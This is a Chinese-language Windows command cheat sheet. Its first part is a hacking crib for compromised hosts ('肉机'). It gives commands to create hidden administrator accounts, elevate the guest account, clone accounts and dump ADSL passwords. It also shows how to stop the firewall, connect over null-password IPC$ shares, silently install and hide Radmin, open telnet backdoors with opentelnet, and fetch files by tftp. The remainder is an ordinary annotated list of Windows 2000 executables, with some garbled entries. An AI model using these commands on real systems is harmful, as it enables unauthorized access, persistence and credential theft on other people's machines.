常用命令 I

控制面版：运行>>>>>>>>>>>:control
计算机管理：command  MMC
结束XP防火墙进程:net stop sharedaccess
查看ADSL帐号密码的代码:dialupass /allusers /stext "c:/pass.txt
启动3389服务：net start TermService
关闭所有防火墙的代码:cmd.exe /c net stop sharedaccess
iis命令重启:iisreset /reboot
用CMD命令实现路由跟踪:tracert 域名(如：www.google.com)
结束进程：NET SHARE
查看版本：ver
查看中端(服务）：net start
查看文件：dir 
查看3389：
加用户：c:/winnt/system32>net user adminserver$ admin /add
提权限：net localgroup administrators adminserver$ /add
211.38.172.2   2180
查看用户net user
远程连接到主机CMD命令：telnet 主机IP
踢人：logoff ID
查看当前人：query user
打开telnet:net start telnet
telnet连接工具：OpenTelnet
删除共享： net share c$=c:/
删除共享： net share c$ /del
启用GUEST：net user guest /active:yes
为GUEST设密码：net user guest 888888
提升到管理员：net localgroup "Administrators" guest /add

超级用户隐藏器:c:/door adminserver$:admin

克隆帐号：ca //IP 你建立的帐号 密码 肉机默认帐号 密码
ca //127.0.0.1 adminserver$ admin adminserver admin

完全禁止系统模认工享
[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/MyComputer/NameSpace/DelegateFolders/{59031a47-3f72-44a7-89c5-5595fe6b30ee}]

3389替换服务-----------------------
中修改[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TermService]
c:/winnt/system32/copy termsrv.exe service.exe
c:/winnt/system32/cd..
c:/winnt/sc //127.0.0.1 config Alerter binpath= c:/winnt/system32/service.exe

端口转向：f:/web/ftp.exe "c:/fpipe.exe -v -l 开放的端口 -r 要转向的端口 ip"

使用空口令连接:
net use //对方IP/ipc$ "" /user:"administrator"
(在上传文件的目录下)远程复制文件:
c:/radmin>net use //a-01/ipc$ "12345" /user:administrator

c:/ramdin>copy r_server.exe //a-01/admin$/system32
c:/ramdin>copy radmin.reg //a-01/admin$/sytem32
在对方CMD下：
c:/winnt/system32/>regedit /s radmin.reg
c:/winnt/system32/>r_server.exe /install /silenec
net start r_server

copy r_server.exe //对方IP/admin$/system32
c:/opentelnet.exe //IP ADMINISTRATOR "" 0 90

copy 文件名 //IP/admin$/system32
进入对方CMD:
c:/opentelnet.exe //Ip administrator "" 0 90
登陆CMD:
c:/telnet IP 90

安装RADMIN:
c:/winnt/system32/
                  r_server /install silence
c:/winnt/system32/
                  r-server
导入注册表:
c:/winnt/system32/regedit.exe /s aaa.reg
看端口:
c:/winnt/system32/
                  netstat -an
改端口:
c:/winnt/system32/
                  r_server.exe /port:1024 /pass:1234 /save /silence
起动服务:
c:/winnt/system32/net start r_server
隐藏文件:
c:/winnt/system32/attrib.exe +h r_server.exe +h

%systemroot$/system32

看看共享开了没有,没有的话把共享开开

c:/winnt/system32>net share
清单是空的。

c:/winnt/system32>net share ipc$
命令成功完成。
c:/winnt/system32>net share admin$
命令成功完成。

注册表运行命令
regedit

查看端口：netstat-n

SA传送文件TFTP
先在本机开tftp服务 sqlexec

tftp-i IP get windxp.exe c:/windows/system32/com/windxp.exe

2000命令集---------------------------------
win2000命令集accwiz.exe > accessibility wizard for walking you through setting up your machine for your mobility needs. 辅助工具向导

acsetups.exe > acs setup dcom server executable

actmovie.exe > direct show setup tool 直接显示安装工具

append.exe > allows programs to open data in specified directories as if they were in the current directory. 允许程序打开制定目录中的数据

arp.exe > network display and modify ip - hardware addresses 显示和更改计算机的ip与硬件物理地址的对应列表

at.exe > at is a scheduling utility also included with unix 计划运行任务

atmadm.exe > displays statistics for atm call manager. atm调用管理器统计

attrib.exe > display and modify attributes for files and folders 显示和更改文件和文件夹属性

autochk.exe > used to check and repair windows file systems 检测修复文件系统

autoconv.exe > automates the file system conversion during reboots 在启动过程中自动转化系统

autofmt.exe > automates the file format process during reboots 在启动过程中格式化进程

autolfn.exe > used for formatting long file names 使用长文件名格式

bootok.exe > boot acceptance application for registry

bootvrfy.exe > bootvrfy.exe, a program included in windows 2000 that notifies the system that startup was successful. bootvrfy.exe can be run on a local or remote computer. 通报启动成功
cacls.exe > displays or modifies access control lists (acls) of files. 显示和编辑acl

calc.exe > windows calculators 计算器

cdplayer.exe > windows cd player cd播放器

change.exe > change { user | port | logon } 与终端服务器相关的查询

charmap.exe > character map 字符映射表

chglogon.exe > same as using "change logon" 启动或停用会话记录

chgport.exe > same as using "change port" 改变端口（终端服务）

chgusr.exe > same as using "change user" 改变用户（终端服务）

chkdsk.exe > check the hard disk for errors similar to scandisk 3 stages must specify a drive letter 磁盘检测程序

chkntfs.exe > same as using chkdsk but for ntfs ntfs磁盘检测程序

cidaemon.exe > component of ci filer service 组成ci文档服务

cipher.exe > displays or alters the encryption of directories [files] on ntfs partitions. 在ntfs上显示或改变加密的文件或目录

cisvc.exe > content index -- it's the content indexing service for i 索引内容

ckcnv.exe > convertor 变换

cleanmgr.exe > disk cleanup, popular with windows 98 磁盘清理

cliconfg.exe > sql server client network utility sql客户网络工具

clipbrd.exe > clipboard viewer for local will allow you to connect to other clipboards 剪贴簿查看器

clipsrv.exe > start the clipboard server 运行clipboard服务

clspack.exe > clspack used to create a file listing of system packages 建立系统文件列表清单

cluster.exe > display a cluster in a domain 显示域的集群

_cmd_.exe > famous command prompt 没什么好说的！

cmdl32.exe > connection manager auto-download 自动下载连接管理

cmmgr32.exe > connection manager 连接管理器

cmmon32.exe > connection manager monitor 连接管理器监视

cmstp.exe > connection manager profile manager 连接管理器配置文件安装程序

comclust.exe > about cluster server 集群

comp.exe > comclust add, remove, or join a cluster. 比较两个文件和文件集的内容＊

compact.exe > displays or alters the compression of files on ntfs partitions. 显示或改变ntfs分区上文件的压缩状态

conime.exe > console ime ime控制台

control.exe > starts the control panel 控制面板

convert.exe > convert file system to ntfs 转换文件系统到ntfs

convlog.exe > converts ms iis log files 转换iis日志文件格式到ncsa格式

cprofile.exe > copy profiles 转换显示模式

c.exe > ms windows s host version 5.1 较本宿主版本

csrss.exe > client server runtime process 客户服务器runtime进程

csvde.exe > comma separated variable import/export utility 日至格式转换程序

dbgtrace.exe > 和terminal server相关

dcomcnfg.exe > display the current dcom configuration. dcom配置属性

dcphelp.exe > ?

dcpromo.exe > promote a domain controller to adsi ad安装向导

ddeshare.exe > display dde shares on local or remote computer dde共享

ddmprxy.exe >

debug.exe > runs debug, a program testing and editing tool. 就是debug啦！

dfrgfat.exe > defrag fat file system fat分区磁盘碎片整理程序

dfrgntfs.exe > defrag ntfs file system ntfs分区磁盘碎片整理程序

dfs_cmd_.exe > configures a dfs tree 配置一个dfs树

dfsinit.exe > distributed file system initialization 分布式文件系统初始化

dfssvc.exe > distributed file system server 分布式文件系统服务器

diantz.exe > ms cabinet maker 制作cab文件

diskperf.exe > starts physical disk performance counters 磁盘性能计数器

dllhost.exe > dllhost is used on all versions of windows 2000. dllhost is the hedost process for all com+ applications. 所有com+应用软件的主进程

dllhst3g.exe >

dmadmin.exe > disk manager service 磁盘管理服务

dmremote.exe > part of disk management 磁盘管理服务的一部分

dns.exe > dns applications dns

doskey.exe > recalls windows command lines and creates macros 命令行创建宏

dosx.exe > dos extender dos扩展

dplaysvr.exe > direct play helper 直接运行帮助

drwatson.exe > dr watson for 2000 fault detector 华生医生错误检测

drwtsn32.exe > dr watson for 2000 viewer and configuration manager 华生医生显示和配置管理

dtcsetup.exe > installs mdtc

dvdplay.exe > windows 2000 dvd player dvd播放

dxdiag.exe > direct-x diagnostics direct-x诊断工具

edlin.exe > line-oriented text editor. 命令行的文本编辑器（历史悠久啊！）
edlin.exe > line-oriented text editor. 命令行的文本编辑器（历史悠久啊！）

esentutl.exe > ms database utility ms数据库工具

eudcedit.exe > private character editor ture type造字程序

eventvwr.exe > windows 2000 event viewer 事件查看器

evnt_cmd_.exe > event to trap translator; configuration tool

evntwin.exe > event to trap translator setup

exe2bin.exe > converts exe to binary format 转换exe文件到二进制

expand.exe > expand files that have been compressed 解压缩

extrac32.exe > cab file extraction utility 解cab工具

fastopen.exe > fastopen tracks the of files on a hard disk and stores the information in memory for fast access. 快速访问在内存中的硬盘文件

faxcover.exe > fax cover page editor 传真封面编辑

faxqueue.exe > display fax queue 显示传真队列

faxsend.exe > fax wizard for sending faxes 发送传真向导

faxsvc.exe > starts fax server 启动传真服务

fc.exe > compares two files or sets of files and their differences 比较两个文件的不同

find.exe > searches for a text string in file or files 查找文件中的文本行

findstr.exe > searches for strings in files 查找文件中的行

finger.exe > fingers a user and displays statistics on that user finger一个用户并显示出统计结果

fixmapi.exe > fix mapi files 修复mapi文件

flattemp.exe > enable or disable temporally directories 允许或者禁用临时文件目录

fontview.exe > display fonts in a font file 显示字体文件中的字体

forcedos.exe > forces a file to start in dos mode. 强制文件在dos模式下运行

freecell.exe > popular windows game 空当接龙

ftp.exe > file transfer protocol used to transfer files over a network connection 就是ftp了

gdi.exe > graphic device interface 图形界面驱动

grovel.exe >

grpconv.exe > program manager group convertor 转换程序管理员组

help.exe > displays help for windows 2000 commands 显示帮助

hostname.exe > display hostname for machine. 显示机器的hostname

ie4uinit.exe > ie5 user install tool ie5用户安装工具

ieshwiz.exe > customize folder wizard 自定义文件夹向导

iexpress.exe > create and setup packages for install 穿件安装包

iisreset.exe > restart iis admin service 重启iis服务

internat.exe > keyboard language indicator applet 键盘语言指示器

ipconfig.exe > windows 2000 ip configuration. 察看ip配置

ipsecmon.exe > ip security monitor ip安全监视器

ipxroute.exe > ipx routing and source routing control program ipx路由和源路由控制程序

irftp.exe > setup ftp for wireless communication 无线连接

ismserv.exe > intersite messaging service 安装或者删除service control manager中的服务

jdbgmgr.exe > microsoft debugger for 4的调试器

jetconv.exe > convert a jet engine database 转换jet engine数据库

jetpack.exe > compact jet database. 压缩jet数据库

jview.exe > command-line loader for 的命令行装载者

krnl386.exe > core component for windows 2000 2000的核心组件

label.exe > change label for drives 改变驱动器的卷标

lcwiz.exe > license compliance wizard for local or remote systems. 许可证符合向导

ldifde.exe > ldif cmd line manager ldif目录交换命令行管理

licmgr.exe > terminal server license manager 终端服务许可协议管理

lights.exe > display connection status lights 显示连接状况

llsmgr.exe > windows 2000 license manager 2000许可协议管理

llssrv.exe > start the license server 启动许可协议服务器

lnkstub.exe >

locator.exe > rpc locator 远程定位

lodctr.exe > load perfmon counters 调用性能计数

logoff.exe > log current user off. 注销用户

lpq.exe > displays status of a remote lpd queue 显示远端的lpd打印队列的状态，显示被送到基于unix的服务器的打印任务

lpr.exe > send a print job to a network printer. 重定向打印任务到网络中的打印机。通常用于unix客户打印机将打印任务发送给连接了打印设备的nt的打印机服务器。

lsass.exe > lsa executable and server dll 运行lsa和server的dll

lserver.exe > specifies the new dns domain for the default server 指定默认server新的dns域

macfile.exe > used for managing macfiles 管理macfiles

magnify.exe > used to magnify the current screen 放大镜

makecab.exe > ms cabinet maker 制作cab文件

mdm.exe > machine debug manager 机器调试管理

mem.exe > display current memory stats 显示内存状态

migpwd.exe > migrate passwords. 迁移密码

mmc.exe > microsoft management console 控制台

mnmsrvc.exe > netmeeting remote desktop sharing netmeeting远程桌面共享

mobsync.exe > manage synchronization. 同步目录管理器

mountvol.exe > creates, s, or lists a volume mount point. 创建、删除或列出卷的装入点。

mplay32.exe > ms media player 媒体播放器
mpnotify.exe > multiple provider notification application 多提供者通知应用程序

mq1sync.exe >

mqbkup.exe > ms message queue backup and restore utility 信息队列备份和恢复工具

mqexchng.exe > msmq exchange connector setup 信息队列交换连接设置

mqmig.exe > msmq migration utility 信息队列迁移工具

mqsvc.exe > ?

mrinfo.exe > multicast routing using snmp 使用snmp多点传送路由

mscdexnt.exe > installs mscd (ms cd extensions) 安装mscd

msdtc.exe > dynamic transaction controller console 动态事务处理控制台

msg.exe > send a message to a user local or remote. 发送消息到本地或远程客户

mshta.exe > html application host html应用程序主机

msiexec.exe > starts windows installer program 开始windows安装程序

mspaint.exe > microsoft paint 画板

msswchx.exe >

mstask.exe > task schedule program 任务计划表程序

mstinit.exe > task scheduler setup 任务计划表安装

narrator.exe > program will allow you to have a narrator for reading. microsoft讲述人

nbtstat.exe > displays protocol stats and current tcp/ip connections using nbt 使用 nbt（tcp/ip 上的 netbios）显示协议统计和当前 tcp/ip 连接。

nddeapir.exe > ndde api server side ndde api服务器端

net.exe > net utility 详细用法看/？

net1.exe > net utility d version from ms net的升级版

netdde.exe > network dde will install itself into the background 安装自己到后台

netsh.exe > creates a shell for network information 用于配置和监控 windows 2000 命令行脚本接口。

netstat.exe > displays current connections. 显示协议统计和当前的 tcp/ip 网络连接。

nlsfunc.exe > loads country-specific information 加载特定国家（地区）的信息。windows 2000 和 ms-dos 子系统不使用该命令。接受该命令只是为了与 ms-dos 文件兼容。

notepad.exe > opens windows 2000 notepad 记事本

nslookup.exe > displays information for dns 该诊断工具显示来自域名系统 (dns) 名称服务器的信息。

ntbackup.exe > opens the nt backup utility 备份和故障修复工具

ntbooks.exe > starts windows help utility 帮助

ntdsutil.exe > performs db maintenance of the adsi 完成adsi的db的维护

ntfrs.exe > nt file replication service nt文件复制服务

ntfrsupg.exe >

ntkrnlpa.exe > kernel patch 核心补丁

ntoskrnl.exe > core nt kernel kt的核心

ntsd.exe >

ntvdm.exe > simulates a 16-bit windows environment 模拟16位windows环境

nw16.exe > netware redirector netware转向器

nw.exe > runs netware s 运行netware脚本

odbcad32.exe > odbc 32-bit administrator 32位odbc管理

odbcconf.exe > configure odbc driver's and data source's from command line 命令行配置odbc驱动和数据源

os2.exe > an os/2 warp server (os2 /o) os/2

os2srv.exe > an os/2 warp server os/2

os2ss.exe > an os/2 warp server os/2

osk.exe > on screen keyboard 屏幕键盘

packager.exe > windows 2000 packager manager 对象包装程序

pathping.exe > combination of ping and tracert 包含ping和tracert的程序

pax.exe > is a posix program and path names used as arguments must be specified in posix format. use "//c/users/default" instead of "c:usersdefault." 启动便携式存档互换 (pax) 实用程序

pentnt.exe > used to check the pentium for the floating point division error. 检查pentium的浮点错误

perfmon.exe > starts windows performance monitor 性能监视器

ping.exe > packet internet groper 验证与远程计算机的连接

posix.exe > used for backward compatibility with unix 用于兼容unix

print.exe > cmd line used to print files 打印文本文件或显示打印队列的内容。

progman.exe > program manager 程序管理器

proquota.exe > profile quota program

psxss.exe > posix subsystem application posix子系统应用程序

qappsrv.exe > displays the available application terminal servers on the network
在网络上显示终端服务器可用的程序

qprocess.exe > display information about processes local or remote 在本地或远程显示进程的信息（需终端服务）

query.exe > query termserver user process and sessions 查询进程和对话

quser.exe > display information about a user logged on 显示用户登陆的信息（需终端服务）

qwinsta.exe > display information about terminal sessions. 显示终端服务的信息

rasadmin.exe > start the remote access admin service 启动远程访问服务

rasautou.exe > creates a ras connection 建立一个ras连接

rasdial.exe > dial a connection 拨号连接

rasphone.exe > starts a ras connection 运行ras连接

rcp.exe > copies a file from and to a rcp service. 在 windows 2000 计算机和运行远程外壳端口监控程序 rshd 的系统之间复制文件

rdpclip.exe > rdpclip allows you to copy and paste files between a terminal session and client console session. 再终端和本地复制和粘贴文件

recover.exe > recovers readable information from a bad or defective disk 从坏的或有缺陷的磁盘中恢复可读取的信息。

redir.exe > starts the redirector service 运行重定向服务

regedt32.exe > 32-bit register service 32位注册服务

regini.exe > modify registry permissions from within a 用脚本修改注册许可

register.exe > register a program so it can have special execution characteristics. 注册包含特殊运行字符的程序

regsvc.exe >

regsvr32.exe > registers and unregister's dll's. as to how and where it register's them i dont know. 注册和反注册dll

regtrace.exe > options to tune debug options for applications failing to dump trace statements
trace 设置
regwiz.exe > registration wizard 注册向导

remrras.exe >

replace.exe > replace files 用源目录中的同名文件替换目标目录中的文件。

reset.exe > reset an active section 重置活动部分

rexec.exe > runs commands on remote hosts running the rexec service. 在运行 rexec 服务的远程计算机上运行命令。rexec 命令在执行指定命令前，验证远程计算机上的用户名，只有安装了 tcp/ip 协议后才可以使用该命令。

risetup.exe > starts the remote installation service wizard. 运行远程安装向导服务

route.exe > display or edit the current routing tables. 控制网络路由表

routemon.exe > no longer supported 不再支持了！

router.exe > router software that runs either on a dedicated dos or on an os/2 system. route软件在 dos或者是os/2系统

rsh.exe > runs commands on remote hosts running the rsh service 在运行 rsh 服务的远程计算机上运行命令

rsm.exe > mounts and configures remote system media 配置远程系统媒体

rsnotify.exe > remote storage notification recall 远程存储通知回显

rsvp.exe > resource reservation protocol 源预约协议

runas.exe > run a program as another user 允许用户用其他权限运行指定的工具和程序

rundll32.exe > launches a 32-bit dll program 启动32位dll程序

runonce.exe > causes a program to run during startup 运行程序再开始菜单中

rwinsta.exe > reset the session subsystem hardware and software to known initial values 重置会话子系统硬件和软件到最初的值

savedump.exe > does not write to e:winntuser.dmp 不写入user.dmp中

scardsvr.exe > smart card resource management server 子能卡资源管理服务器

schupgr.exe > it will read the schema files (.ldf files) and upgrade the schema. (part of adsi) 读取计划更新文件和更新计划

secedit.exe > starts security editor help 自动安全性配置管理

services.exe > controls all the services 控制所有服务

sethc.exe > set high contrast - changes colours and display mode logoff to set it back to normal 设置高对比

setreg.exe > shows the software publishing state key values 显示软件发布的国家语言

setup.exe > gui box prompts you to goto control panel to configure system components 安装程序（转到控制面板）

setver.exe > set version for files 设置 ms-dos 子系统向程序报告的 ms-dos 版本号

sfc.exe > system file checker test and check system files for integrity 系统文件检查

sfmprint.exe > print services for macintosh 打印macintosh服务

sfmpsexe.exe >

sfmsvc.exe >

shadow.exe > monitor another terminal services session. 监控另外一台中端服务器会话

share.exe > windows 2000 和 ms-dos 子系统不使用该命令。接受该命令只是为了与 ms-dos 文件兼容

shmgrate.exe >

shrpubw.exe > create and share folders 建立和共享文件夹

sigverif.exe > file signature verification 文件签名验证

skeys.exe > serial keys utility 序列号制作工具

smlogsvc.exe > performance logs and alerts 性能日志和警报

smss.exe >

sndrec32.exe > starts the windows sound recorder 录音机

sndvol32.exe > display the current volume information 显示声音控制信息

snmp.exe > simple network management protocol used for network mangement 简单网络管理协议

snmptrap.exe > utility used with snmp snmp工具

sol.exe > windows solitaire game 纸牌

sort.exe > compares files and folders 读取输入、排序数据并将结果写到屏幕、文件和其他设备上

spoolsv.exe > part of the spooler service for printing 打印池服务的一部分

sprestrt.exe >

srvmgr.exe > starts the windows server manager 服务器管理器

stimon.exe > wdm stillimage- > monitor

stisvc.exe > wdm stillimage- > service

subst.exe > associates a path with a drive letter 将路径与驱动器盘符关联

svchost.exe > svchost.exe is a generic host process name for services that are run from dynamic-link libraries (dlls). dll得主进程

syncapp.exe > creates windows briefcase. 创建windows文件包

sysedit.exe > opens editor for 4 system files 系统配置编辑器

syskey.exe > encrypt and secure system database nt账号数据库按群工具

sysocmgr.exe > windows 2000 setup 2000安装程序

systray.exe > starts the systray in the lower right corner. 在低权限运行systray

taskman.exe > task manager 任务管理器

taskmgr.exe > starts the windows 2000 task manager 任务管理器

tcmsetup.exe > telephony client wizard 电话服务客户安装

tcpsvcs.exe > tcp services tcp服务

.exe > telnet utility used to connect to telnet server

termsrv.exe > terminal server 终端服务

tftp.exe > trivial ftp 将文件传输到正在运行 tftp 服务的远程计算机或从正在运行 tftp 服务的远程计算机传输文件

tftpd.exe > trivial ftp daemon

themes.exe > change windows themes 桌面主题

tlntadmn.exe > telnet server administrator telnet服务管理

tlntsess.exe > display the current telnet sessions 显示目前的telnet会话

tlntsvr.exe > start the telnet server 开始telnet服务

tracert.exe > trace a route to display paths 该诊断实用程序将包含不同生存时间 (ttl) 值的 internet 控制消息协议 (icmp) 回显数据包发送到目标，以决定到达目标采用的路由

tsadmin.exe > terminal server administrator 终端服务管理器

tscon.exe > attaches a user session to a terminal session. 粘贴用户会话到终端对话

tsdiscon.exe > disconnect a user from a terminal session 断开终端服务的用户

tskill.exe > kill a terminal server process 杀掉终端服务

tsprof.exe > used with terminal server to query results. 用终端服务得出查询结果

tsshutdn.exe > shutdown the system 关闭系统

unlodctr.exe > part of performance monitoring 性能监视器的一部分

upg351db.exe > upgrade a jet database 升级jet数据库

ups.exe > ups service ups服务

user.exe > core windows service windows核心服务

userinit.exe > part of the winlogon process winlogon进程的一部分

usrmgr.exe > start the windows user manager for domains 域用户管理器

utilman.exe > this tool enables an administrator to designate which computers automatically open accessibility tools when windows 2000 starts. 指定2000启动时自动打开那台机器

verifier.exe > driver verifier manager driver verifier manager

vwipxspx.exe > loads ipx/spx vdm 调用ipx/spx vdm

w32tm.exe > windows time server 时间服务器

wextract.exe > used to extract windows files 解压缩windows文件

winchat.exe > opens windows chat 打开windows聊天